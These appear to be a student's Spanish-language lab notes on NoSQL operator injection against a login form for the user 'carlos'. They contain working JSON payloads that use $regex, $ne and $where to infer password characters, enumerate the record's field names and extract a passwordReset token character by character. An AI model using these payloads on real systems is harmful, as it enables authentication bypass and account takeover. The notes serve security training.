4 - Exploiting NoSQL operator injection to extract unknown fields

La pass tiene números

{
  "username": "carlos",
  "password": {
    "$regex": ".*\\d.*" 
  }
}

//Tira account locked

Tiene minúsculas

{
  "username": "carlos",
  "password": {
    "$regex": ".*[a-z].*"
  }
}

//Tira account locked

No tiene mayúsculas

{
  "username": "carlos",
  "password": {
    "$regex": ".*[A-Z].*"
  }
}

//Tira invalid passwords
{
	"username":"carlos",
	"password": {"$ne":"invalid"},
	"$where": "0" //false
}
//Tira invalid passwords -> false
{
	"username":"carlos",
	"password": {"$ne":"invalid"},
	"$where": "1" //true
}
//Tira account locked -> true

Para ir poco a poco sacando los atributos del objeto

ATRIBUTO -> int del atributo 1..n
Primer §§ -> Posición de la 0 a ...
Segundo §§ -> carácter

"$where":"Object.keys(this)[ATRIBUTO].match('^.{§§}§§.*')"

Primero -> surname
Segundo -> Password
Tercero -> Email
Cuarto -> passwordReset

Fuzzemos por el passwordReset

"$where":"this.passwordReset.match('^.{§§}§§.*')"